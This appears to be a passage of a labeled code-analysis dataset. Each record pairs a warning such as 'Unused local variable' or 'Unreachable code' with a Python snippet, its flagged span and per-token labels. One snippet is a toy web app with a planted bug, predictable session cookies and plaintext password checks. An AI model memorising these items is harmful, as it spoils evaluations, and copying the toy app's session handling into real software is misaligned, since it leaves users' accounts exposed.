"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "File", "2_", "._", "\\u", "writer_", "._", "set\\u", "dimension_", "(_", "\"", "test\\u", "dimension", "\\u", "1234", "\"_", ",_", "[_", "4_", "]_", "*_", "len_", "(_", "self_", "._", "File", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "._", "\\u", "writer_", "._", "set\\u", "dimension_", "(_", "\"", "test\\u", "dimension", "\\u", "5678", "\"_", ",_", "[_", "\"", "AAA", "\"_", "]_", "*_", "len_", "(_", "self_", "._", "File", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "._", "\\u", "writer_", "._", "set\\u", "dimension_", "(_", "\"", "test\\u", "dimension", "\\u", "9", "\"_", ",_", "[_", "[_", "1_", ",_", "2_", ",_", "3_", "]_", "]_", "*_", "len_", "(_", "self_", "._", "File", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "all_", "(_", "np_", "._", "array_", "(_", "[_", "\"", "AAA", "\"_", "]_", "*_", "len_", "(_", "self_", "._", "File", "1_", ")_", ")_", "==_", "File", "2_", "._", "test\\u", "dimension", "\\u", "5678", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "all_", "(_", "np_", "._", "array_", "(_", "[_", "4_", "]_", "*_", "len_", "(_", "self_", "._", "File", "1_", ")_", ")_", "==_", "File", "2_", "._", "test\\u", "dimension", "\\u", "1234_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "list_", "(_", "File", "2_", "._", "test\\u", "dimension", "\\u", "9_", "[_", "100_", "]_", ")_", "==_", "[_", "1_", ",_", "2_", ",_", "3_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "._", "close_", "(_", "ignore", "\\u", "header", "\\u", "changes_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "V", "\\u", "14", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "vl", "r", "\\u", "defin", "ed", "\\u", "dimension", "s2_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "ing", " ", "VL", "R", " ", "defin", "ed", " ", "dimension", "s", " ", "(", "HL", " ", "API", ")\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "=_", "File_", "._", "File_", "(_", "self_", "._", "output", "\\u", "tempfile_", ",_", "mode_", "=_", "\"", "w", "\"_", ",_", "header_", "=_", "self_", "._", "File", "1_", "._", "header_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "._", "defin", "e\\u", "new", "\\u", "dimension_", "(_", "\"", "test\\u", "dimension", "\"_", ",_", "5_", ",_", "\"", "Thi", "s", " ", "is", " ", "a", " ", "test", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "._", "defin", "e\\u", "new", "\\u", "dimension_", "(_", "\"", "test\\u", "dimension", "2", "\"_", ",_", "5_", ",_", "\"", "Thi", "s", " ", "is", " ", "a", " ", "test", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "File", "2_", "._", "X_", "=_", "self_", "._", "File", "1_", "._", "X_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "File", "2_", "._", "test\\u", "dimension_", "[_", "500_", "]_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "File", "2_", "._", "test\\u", "dimension", "2_", "[_", "123_", "]_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "._", "close_", "(_", "ignore", "\\u", "header", "\\u", "changes_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "La", "z", "Read", "er", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "read", "\\u", "data_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "ing", " ", "abilit", "y", " ", "to", " ", "read", " ", "laz", " ", "files", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "simple_", "=_", "'./", "las", "pytest", "/", "data", "/", "simple", ".", "laz", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "1_", "=_", "File_", "._", "File_", "(_", "simple_", ",_", "mode_", "=_", "\"", "r", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "File", "1_", "._", "X_", ")_", "==_", "106", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "1_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
jon-jacky/PyModel/samples/WebApplication/webapp.py
[ { "content": "def application(environ, start_response):\n global next_cookie\n\n # print environ_template % pprint.pformat(environ) # DEBUG, voluminous!\n\n response_headers = [] # add headers below\n cookie = environ.get('HTTP_COOKIE') # might be None\n\n # show login page\n if (environ['PATH_INFO'] == '/webapp.py' \n and environ['REQUEST_METHOD'] == 'GET' \n and cookie not in sessions): # cookie might be None\n response_body = login_page\n response_headers += [\n ('Set-Cookie','PYSESSID=%s; path=/' % next_cookie)]\n next_cookie += 1\n status = '200 OK'\n \n # log in, if successful show data form page\n elif (environ['PATH_INFO'] == '/webapp.py' \n and environ['REQUEST_METHOD'] == 'POST'):\n wd = environ['wsgi.input']\n method = environ['REQUEST_METHOD']\n length = int(environ['CONTENT_LENGTH'])\n request_body = wd.read(length)\n vars = urlparse.parse_qs(request_body)\n user = vars['username'][0] # vars[x] are lists, get first item\n passwd = vars['password'][0]\n if user in password and password[user] == passwd:\n sessions[cookie] = user\n if not user in strings:\n strings[user] = ''\n # CORRECT CODE comented out\n # if not user in integers:\n # integers[user] = 0\n # BUG follows, should be guarded by if ... like strings \n integers[user] = 0 # BUG, always overwrites data from last session\n # PHP version sends redirect back to doStuff instead of this response_body\n #response_body = dostuff_template % (integers[user], \n # strings[user])\n response_headers += [('Location','webapp.py')]\n status = \"302 Found\"\n response_body = ''\n else:\n response_body = login_failure_page\n status = '200 OK'\n \n # submit data in form page\n elif (environ['PATH_INFO'] == '/webapp.py' \n and environ['REQUEST_METHOD'] == 'GET' \n and cookie in sessions):\n user = sessions[cookie]\n vars = urlparse.parse_qs(environ['QUERY_STRING'])\n if 'num' in vars:\n integers[user] = str(vars['num'][0]) # vars[x] are lists, 1st item\n if 'str' in vars:\n strings[user] = vars['str'][0] \n response_body = dostuff_template % (integers[user], \n strings[user])\n status = '200 OK'\n\n # log out\n elif environ['PATH_INFO'] == '/logout.py':\n if cookie in sessions:\n del sessions[cookie]\n response_body = '' # blank page, like original NModel version\n status = '200 OK'\n pass\n \n # unknown page\n elif environ['PATH_INFO'] not in ('/webapp.py', '/logout.py'):\n response_body = p404_page \n status = '404 Not Found'\n\n # nonsense: doStuff REQUEST_METHOD not GET or POST, or ... ?\n else:\n raise ValueError # send 500 Server Error\n\n # response\n response_headers += [('Content-Type', 'text/html'),\n ('Content-Length', str(len(response_body)))]\n start_response(status, response_headers)\n return [response_body]", "metadata": "root.application", "header": "['module', '___EOS___']", "index": 30 } ]
[ { "span": "method ", "start_line": 52, "start_column": 8, "end_line": 52, "end_column": 14 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "application_", "(_", "environ_", ",_", "start", "\\u", "response_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "global_", "next", "\\u", "cookie_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "environ", "\\u", "template", " ", "%", " ", "ppr", "int", ".", "pfo", "rmat", "(", "environ", ")", " ", "#", " ", "DEBU", "G", ",", " ", "volu", "mino", "us", "!", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "response", "\\u", "headers_", "=_", "[_", "]_", "#", " ", "add", " ", "header", "s", " ", "below_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cookie_", "=_", "environ_", "._", "get_", "(_", "'", "HTTP", "\\u", "COOKIE", "'_", ")_", "#", " ", "mig", "ht", " ", "be", " ", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "show", " ", "login", " ", "page_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "environ_", "[_", "'", "PATH", "\\u", "INFO", "'_", "]_", "==_", "'/", "weba", "pp", ".", "py", "'_", "\\u\\u\\uNL\\u\\u\\u_", "and_", "environ_", "[_", "'", "REQUEST", "\\u", "METH", "OD", "'_", "]_", "==_", "'", "GET", "'_", "\\u\\u\\uNL\\u\\u\\u_", "and_", "cookie_", "not_", "in_", "sessions_", ")_", ":_", "#", " ", "cookie", " ", "mig", "ht", " ", "be", " ", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response", "\\u", "body_", "=_", "login", "\\u", "page_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response", "\\u", "headers_", "+=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "Set", "-", "Cooki", "e", "'_", ",_", "'", "PY", "SES", "SID", "=", "%", "s", ";", " ", "path", "=", "/'_", "%_", "next", "\\u", "cookie_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "next", "\\u", "cookie_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "status_", "=_", "'", "200", " ", "OK", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "log", " ", "in", ",", " ", "if", " ", "success", "ful", " ", "show", " ", "data", " ", "form", " ", "page_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "(_", "environ_", "[_", "'", "PATH", "\\u", "INFO", "'_", "]_", "==_", "'/", "weba", "pp", ".", "py", "'_", "\\u\\u\\uNL\\u\\u\\u_", "and_", "environ_", "[_", "'", "REQUEST", "\\u", "METH", "OD", "'_", "]_", "==_", "'", "POST", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "wd_", "=_", "environ_", "[_", "'", "wsgi", ".", "input", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method_", "=_", "environ_", "[_", "'", "REQUEST", "\\u", "METH", "OD", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "length_", "=_", "int_", "(_", "environ_", "[_", "'", "CONTE", "NT", "\\u", "LENGTH", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request", "\\u", "body_", "=_", "wd_", "._", "read_", "(_", "length_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vars_", "=_", "urlparse_", "._", "parse", "\\u", "qs_", "(_", "request", "\\u", "body_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user_", "=_", "vars_", "[_", "'", "user", "name", "'_", "]_", "[_", "0_", "]_", "#", " ", "vars", "[", "x", "]", " ", "are", " ", "lists", ",", " ", "get", " ", "first", " ", "item_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "passwd_", "=_", "vars_", "[_", "'", "password", "'_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "user_", "in_", "password_", "and_", "password_", "[_", "user_", "]_", "==_", "passwd_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sessions_", "[_", "cookie_", "]_", "=_", "user_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "user_", "in_", "strings_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "strings_", "[_", "user_", "]_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "CORREC", "T", " ", "CODE", " ", "come", "nte", "d", " ", "out_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "not", " ", "user", " ", "in", " ", "integ", "ers", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "integ", "ers", "[", "user", "]", " ", "=", " ", "0_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "BUG", " ", "follow", "s", ",", " ", "shou", "ld", " ", "be", " ", "guard", "ed", " ", "by", " ", "if", " ", "...", " ", "like", " ", "string", "s", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "integers_", "[_", "user_", "]_", "=_", "0_", "#", " ", "BUG", ",", " ", "alw", "ay", "s", " ", "overwrit", "es", " ", "data", " ", "from", " ", "last", " ", "session_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "PH", "P", " ", "version", " ", "send", "s", " ", "redirec", "t", " ", "back", " ", "to", " ", "do", "Stuff", " ", "inst", "ead", " ", "of", " ", "this", " ", "response", "\\u", "body_", "\\u\\u\\uNL\\u\\u\\u_", "#", "response", "\\u", "body", " ", "=", " ", "dos", "tuf", "f", "\\u", "template", " ", "%", " ", "(", "integ", "ers", "[", "user", "],", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "string", "s", "[", "user", "])", "_", "\\u\\u\\uNL\\u\\u\\u_", "response", "\\u", "headers_", "+=_", "[_", "(_", "'", "Locat", "ion", "'_", ",_", "'", "weba", "pp", ".", "py", "'_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "status_", "=_", "\"", "302", " ", "Foun", "d", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response", "\\u", "body_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response", "\\u", "body_", "=_", "login", "\\u", "fail", "ure", "\\u", "page_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "status_", "=_", "'", "200", " ", "OK", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "submit", " ", "data", " ", "in", " ", "form", " ", "page_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "(_", "environ_", "[_", "'", "PATH", "\\u", "INFO", "'_", "]_", "==_", "'/", "weba", "pp", ".", "py", "'_", "\\u\\u\\uNL\\u\\u\\u_", "and_", "environ_", "[_", "'", "REQUEST", "\\u", "METH", "OD", "'_", "]_", "==_", "'", "GET", "'_", "\\u\\u\\uNL\\u\\u\\u_", "and_", "cookie_", "in_", "sessions_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user_", "=_", "sessions_", "[_", "cookie_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vars_", "=_", "urlparse_", "._", "parse", "\\u", "qs_", "(_", "environ_", "[_", "'", "QUE", "RY", "\\u", "STRING", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "num", "'_", "in_", "vars_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "integers_", "[_", "user_", "]_", "=_", "str_", "(_", "vars_", "[_", "'", "num", "'_", "]_", "[_", "0_", "]_", ")_", "#", " ", "vars", "[", "x", "]", " ", "are", " ", "lists", ",", " ", "1s", "t", " ", "item_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "str", "'_", "in_", "vars_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "strings_", "[_", "user_", "]_", "=_", "vars_", "[_", "'", "str", "'_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response", "\\u", "body_", "=_", "dos", "tuf", "f", "\\u", "template_", "%_", "(_", "integers_", "[_", "user_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "strings_", "[_", "user_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "status_", "=_", "'", "200", " ", "OK", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "log", " ", "out_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "environ_", "[_", "'", "PATH", "\\u", "INFO", "'_", "]_", "==_", "'/", "logo", "ut", ".", "py", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "cookie_", "in_", "sessions_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "sessions_", "[_", "cookie_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response", "\\u", "body_", "=_", "''_", "#", " ", "blank", " ", "page", ",", " ", "like", " ", "original", " ", "NM", "odel", " ", "version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "status_", "=_", "'", "200", " ", "OK", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "unknown", " ", "page_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "environ_", "[_", "'", "PATH", "\\u", "INFO", "'_", "]_", "not_", "in_", "(_", "'/", "weba", "pp", ".", "py", "'_", ",_", "'/", "logo", "ut", ".", "py", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response", "\\u", "body_", "=_", "p4", "04", "\\u", "page_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "status_", "=_", "'", "404", " ", "Not", " ", "Foun", "d", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "nons", "ense", ":", " ", "do", "Stuff", " ", "REQUEST", "\\u", "METH", "OD", " ", "not", " ", "GET", " ", "or", " ", "POST", ",", " ", "or", " ", "...", " ", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "#", " ", "send", " ", "500", " ", "Server", " ", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "response_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response", "\\u", "headers_", "+=_", "[_", "(_", "'", "Conten", "t", "-", "Type", "'_", ",_", "'", "text", "/", "html", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "Conten", "t", "-", "Length", "'_", ",_", "str_", "(_", "len_", "(_", "response", "\\u", "body_", ")_", ")_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "\\u", "response_", "(_", "status_", ",_", "response", "\\u", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "response", "\\u", "body_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unreachable code
dimagi/commcare-hq/custom/succeed/utils.py
[ { "content": "def get_app_build(app_dict):\n domain = Domain.get_by_name(app_dict['domain'])\n if domain.use_cloudcare_releases:\n return ApplicationBase.get(app_dict['_id']).get_latest_app()['_id']\n else:\n return get_latest_build_id(app_dict['domain'], app_dict['_id'])\n return None", "metadata": "root.get_app_build", "header": "['module', '___EOS___']", "index": 57 } ]
[ { "span": "return None", "start_line": 63, "start_column": 4, "end_line": 63, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Unrea", "chab", "le_", "code_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "app", "\\u", "build_", "(_", "app", "\\u", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "domain_", "=_", "Domain_", "._", "get", "\\u", "by", "\\u", "name_", "(_", "app", "\\u", "dict_", "[_", "'", "domain", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "domain_", "._", "use", "\\u", "cloud", "care", "\\u", "releases_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Applica", "tion", "Base_", "._", "get_", "(_", "app", "\\u", "dict_", "[_", "'\\u", "id", "'_", "]_", ")_", "._", "get", "\\u", "late", "st", "\\u", "app_", "(_", ")_", "[_", "'\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "get", "\\u", "late", "st", "\\u", "build", "\\u", "id_", "(_", "app", "\\u", "dict_", "[_", "'", "domain", "'_", "]_", ",_", "app", "\\u", "dict_", "[_", "'\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2 ]
Unused local variable
RobotLocomotion/director/src/python/director/doordemo.py
[ { "content": " def planChop(self, deltaZ=None, deltaY=None, deltaX=None):\n\n startPose = self.getPlanningStartPose()\n\n if deltaZ is None:\n deltaZ = self.chopDistance\n if deltaY is None:\n deltaY = self.chopSidewaysDistance\n if deltaX is None:\n deltaX = 0.0\n\n linkOffsetFrame = self.ikPlanner.getPalmToHandLink(self.graspingHand)\n handLinkName = self.ikPlanner.getHandLink(self.graspingHand)\n startFrame = self.ikPlanner.getLinkFrameAtPose(handLinkName, startPose)\n endToStartTransform = transformUtils.frameFromPositionAndRPY([deltaZ, -deltaX, -deltaY],\n [0, 0, 0])\n endFrame = transformUtils.concatenateTransforms([endToStartTransform, startFrame]);\n vis.updateFrame(endFrame, 'debug chop', 